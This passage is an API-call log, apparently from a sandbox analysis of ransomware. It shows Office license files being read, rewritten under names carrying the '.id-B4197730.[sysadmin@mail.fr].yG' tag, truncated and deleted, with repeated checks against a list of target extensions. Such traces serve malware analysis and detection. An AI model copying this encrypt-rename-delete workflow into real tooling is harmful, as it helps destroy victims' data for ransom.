	[0176.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms")) returned 1
	[0176.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0176.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0176.515] lstrlenW (lpString=".doc") returned 4
	[0176.515] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.515] lstrlenW (lpString=".docx") returned 5
	[0176.515] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.515] lstrlenW (lpString=".pdf") returned 4
	[0176.515] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.515] lstrlenW (lpString=".xls") returned 4
	[0176.516] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.516] lstrlenW (lpString=".xlsx") returned 5
	[0176.516] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.516] lstrlenW (lpString=".ppt") returned 4
	[0176.516] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0176.516] lstrlenW (lpString=".zip") returned 4
	[0176.516] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.516] lstrlenW (lpString=".rar") returned 4
	[0176.516] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.516] lstrlenW (lpString=".bz2") returned 4
	[0176.516] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.516] lstrlenW (lpString=".7z") returned 3
	[0176.516] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0176.516] lstrlenW (lpString=".dbf") returned 4
	[0176.516] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0176.516] lstrlenW (lpString=".1cd") returned 4
	[0176.516] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0176.516] lstrlenW (lpString=".jpg") returned 4
	[0176.516] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.517] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11179) returned 1
	[0176.517] CloseHandle (hObject=0x52c) returned 1
	[0176.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms")) returned 0x220
	[0176.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0176.518] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.518] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0176.520] GetLastError () returned 0x0
	[0176.520] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0176.526] WriteFile (in: hFile=0x530, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0176.527] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.528] WriteFile (in: hFile=0x530, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x114, lpOverlapped=0x0) returned 1
	[0176.528] SetEndOfFile (hFile=0x530) returned 1
	[0176.528] CloseHandle (hObject=0x530) returned 1
	[0176.528] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.528] SetEndOfFile (hFile=0x52c) returned 1
	[0176.531] CloseHandle (hObject=0x52c) returned 1
	[0176.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.532] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms")) returned 1
	[0176.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0176.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0176.533] lstrlenW (lpString=".doc") returned 4
	[0176.533] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.533] lstrlenW (lpString=".docx") returned 5
	[0176.533] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.533] lstrlenW (lpString=".pdf") returned 4
	[0176.533] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.533] lstrlenW (lpString=".xls") returned 4
	[0176.533] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.533] lstrlenW (lpString=".xlsx") returned 5
	[0176.533] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.533] lstrlenW (lpString=".ppt") returned 4
	[0176.533] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0176.533] lstrlenW (lpString=".zip") returned 4
	[0176.533] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.533] lstrlenW (lpString=".rar") returned 4
	[0176.533] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.533] lstrlenW (lpString=".bz2") returned 4
	[0176.533] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.534] lstrlenW (lpString=".7z") returned 3
	[0176.534] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0176.534] lstrlenW (lpString=".dbf") returned 4
	[0176.534] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0176.534] lstrlenW (lpString=".1cd") returned 4
	[0176.534] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0176.534] lstrlenW (lpString=".jpg") returned 4
	[0176.534] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.534] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11630) returned 1
	[0176.535] CloseHandle (hObject=0x52c) returned 1
	[0176.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms")) returned 0x220
	[0176.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0176.536] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.536] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0176.541] GetLastError () returned 0x0
	[0176.541] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0176.620] WriteFile (in: hFile=0x530, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0176.621] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.621] WriteFile (in: hFile=0x530, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0176.621] SetEndOfFile (hFile=0x530) returned 1
	[0176.622] CloseHandle (hObject=0x530) returned 1
	[0176.622] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.622] SetEndOfFile (hFile=0x52c) returned 1
	[0176.625] CloseHandle (hObject=0x52c) returned 1
	[0176.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms")) returned 1
	[0176.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0176.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0176.953] lstrlenW (lpString=".doc") returned 4
	[0176.953] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.953] lstrlenW (lpString=".docx") returned 5
	[0176.953] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.953] lstrlenW (lpString=".pdf") returned 4
	[0176.953] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.953] lstrlenW (lpString=".xls") returned 4
	[0176.953] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.953] lstrlenW (lpString=".xlsx") returned 5
	[0176.953] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.953] lstrlenW (lpString=".ppt") returned 4
	[0176.953] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0176.953] lstrlenW (lpString=".zip") returned 4
	[0176.954] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.954] lstrlenW (lpString=".rar") returned 4
	[0176.954] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.954] lstrlenW (lpString=".bz2") returned 4
	[0176.954] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.954] lstrlenW (lpString=".7z") returned 3
	[0176.954] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0176.954] lstrlenW (lpString=".dbf") returned 4
	[0176.954] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0176.954] lstrlenW (lpString=".1cd") returned 4
	[0176.954] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0176.954] lstrlenW (lpString=".jpg") returned 4
	[0176.954] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.955] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11694) returned 1
	[0176.955] CloseHandle (hObject=0x398) returned 1
	[0176.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0176.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0176.956] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.956] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0176.958] GetLastError () returned 0x0
	[0176.958] ReadFile (in: hFile=0x398, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2dae, lpOverlapped=0x0) returned 1
	[0176.971] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2db0, lpOverlapped=0x0) returned 1
	[0176.973] ReadFile (in: hFile=0x398, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.973] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x138, lpOverlapped=0x0) returned 1
	[0176.973] SetEndOfFile (hFile=0x540) returned 1
	[0176.973] CloseHandle (hObject=0x540) returned 1
	[0176.973] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.973] SetEndOfFile (hFile=0x398) returned 1
	[0176.977] CloseHandle (hObject=0x398) returned 1
	[0176.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0176.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0176.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0176.979] lstrlenW (lpString=".doc") returned 4
	[0176.979] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.979] lstrlenW (lpString=".docx") returned 5
	[0176.979] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.979] lstrlenW (lpString=".pdf") returned 4
	[0176.979] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.979] lstrlenW (lpString=".xls") returned 4
	[0176.979] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.979] lstrlenW (lpString=".xlsx") returned 5
	[0176.979] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.979] lstrlenW (lpString=".ppt") returned 4
	[0176.980] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0176.980] lstrlenW (lpString=".zip") returned 4
	[0176.980] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.980] lstrlenW (lpString=".rar") returned 4
	[0176.980] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.980] lstrlenW (lpString=".bz2") returned 4
	[0176.980] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.980] lstrlenW (lpString=".7z") returned 3
	[0176.980] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0176.980] lstrlenW (lpString=".dbf") returned 4
	[0176.980] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0176.980] lstrlenW (lpString=".1cd") returned 4
	[0176.980] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0176.980] lstrlenW (lpString=".jpg") returned 4
	[0176.980] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.981] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11644) returned 1
	[0176.981] CloseHandle (hObject=0x398) returned 1
	[0176.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms")) returned 0x220
	[0176.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0176.982] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.982] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0176.983] GetLastError () returned 0x0
	[0176.983] ReadFile (in: hFile=0x398, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d7c, lpOverlapped=0x0) returned 1
	[0176.986] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0176.987] ReadFile (in: hFile=0x398, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.987] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0176.987] SetEndOfFile (hFile=0x540) returned 1
	[0176.988] CloseHandle (hObject=0x540) returned 1
	[0176.988] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.988] SetEndOfFile (hFile=0x398) returned 1
	[0176.991] CloseHandle (hObject=0x398) returned 1
	[0176.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms")) returned 1
	[0176.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87
	[0176.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87
	[0176.993] lstrlenW (lpString=".doc") returned 4
	[0176.993] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
